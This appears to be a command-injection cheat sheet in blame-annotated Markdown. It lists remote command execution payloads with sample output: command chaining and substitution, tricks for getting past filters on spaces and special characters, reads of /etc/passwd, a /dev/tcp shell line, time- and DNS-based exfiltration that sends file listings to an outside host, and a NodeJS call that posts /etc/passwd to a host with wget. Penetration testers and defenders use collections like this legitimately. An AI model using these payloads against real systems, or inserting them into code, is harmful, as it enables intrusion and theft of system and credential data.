2017-09-23 21:30:40 +00:00
|
|
|
# Remote Commands Execution
|
|
|
|
Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server.
|
2017-06-05 12:57:28 +00:00
|
|
|
|
2016-10-18 08:01:56 +00:00
|
|
|
|
2016-10-18 06:39:17 +00:00
|
|
|
## Exploits
|
2017-09-23 21:30:40 +00:00
|
|
|
Normal Commands execution, execute the command and voila :p
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
2017-06-05 12:57:28 +00:00
|
|
|
cat /etc/passwd
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
2016-10-18 06:04:50 +00:00
|
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
|
|
|
|
2017-09-23 21:30:40 +00:00
|
|
|
Commands execution by chaining commands
|
2016-11-11 17:17:33 +00:00
|
|
|
```
|
|
|
|
original_cmd_by_server; ls
|
|
|
|
original_cmd_by_server && ls
|
|
|
|
original_cmd_by_server | ls
|
2017-10-09 21:17:31 +00:00
|
|
|
original_cmd_by_server || ls Only if the first cmd fail
|
2016-11-11 17:17:33 +00:00
|
|
|
```
|
2016-10-18 06:02:14 +00:00
|
|
|
|
2017-09-23 21:30:40 +00:00
|
|
|
Commands execution inside a command
|
|
|
|
```
|
|
|
|
original_cmd_by_server `cat /etc/passwd`
|
|
|
|
original_cmd_by_server $(cat /etc/passwd)
|
|
|
|
```
|
|
|
|
|
|
|
|
Commands execution without space - Linux
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
2017-07-14 21:40:31 +00:00
|
|
|
swissky@crashlab:~/Www$ cat</etc/passwd
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
|
2016-11-11 17:17:33 +00:00
|
|
|
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
|
|
|
RCE
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
2016-12-20 18:46:06 +00:00
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
|
|
|
|
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
2016-10-18 08:01:56 +00:00
|
|
|
|
2017-09-23 21:30:40 +00:00
|
|
|
Commands execution without space - Windows
|
2017-06-05 12:57:28 +00:00
|
|
|
```
|
|
|
|
ping%CommonProgramFiles:~10,-18%IP
|
|
|
|
ping%PROGRAMFILES:~10,-5%IP
|
|
|
|
```
|
|
|
|
|
2017-08-13 14:35:12 +00:00
|
|
|
|
2017-09-23 21:30:40 +00:00
|
|
|
Commands execution without spaces, $ or { } - Linux (Bash only)
|
2017-08-13 14:35:12 +00:00
|
|
|
```
|
|
|
|
IFS=,;`cat<<<uname,-a`
|
|
|
|
```
|
|
|
|
|
2017-09-23 21:30:40 +00:00
|
|
|
Commands execution with a line return
|
|
|
|
```
|
|
|
|
something%0Acat%20/etc/passwd
|
|
|
|
```
|
|
|
|
|
2017-03-03 20:41:00 +00:00
|
|
|
## Time based data exfiltration
|
|
|
|
Extracting data : char by char
|
|
|
|
```
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
|
|
real 0m5.007s
|
|
|
|
user 0m0.000s
|
|
|
|
sys 0m0.000s
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
|
|
real 0m0.002s
|
|
|
|
user 0m0.000s
|
|
|
|
sys 0m0.000s
|
|
|
|
```
|
|
|
|
|
2017-07-14 21:40:31 +00:00
|
|
|
|
|
|
|
## DNS based data exfiltration
|
|
|
|
Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
|
|
|
|
```
|
|
|
|
1. Go to http://dnsbin.zhack.ca/
|
|
|
|
2. Execute a simple 'ls'
|
|
|
|
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
|
|
```
|
|
|
|
|
2017-06-05 12:57:28 +00:00
|
|
|
## Environment based
|
2017-09-23 21:30:40 +00:00
|
|
|
NodeJS Commands execution
|
2016-10-18 08:01:56 +00:00
|
|
|
```
|
2016-11-17 03:50:34 +00:00
|
|
|
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
|
2016-10-18 08:01:56 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
## Thanks to
|
2017-03-03 20:41:00 +00:00
|
|
|
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|
2017-06-05 12:57:28 +00:00
|
|
|
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
|
2017-08-13 14:35:12 +00:00
|
|
|
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
|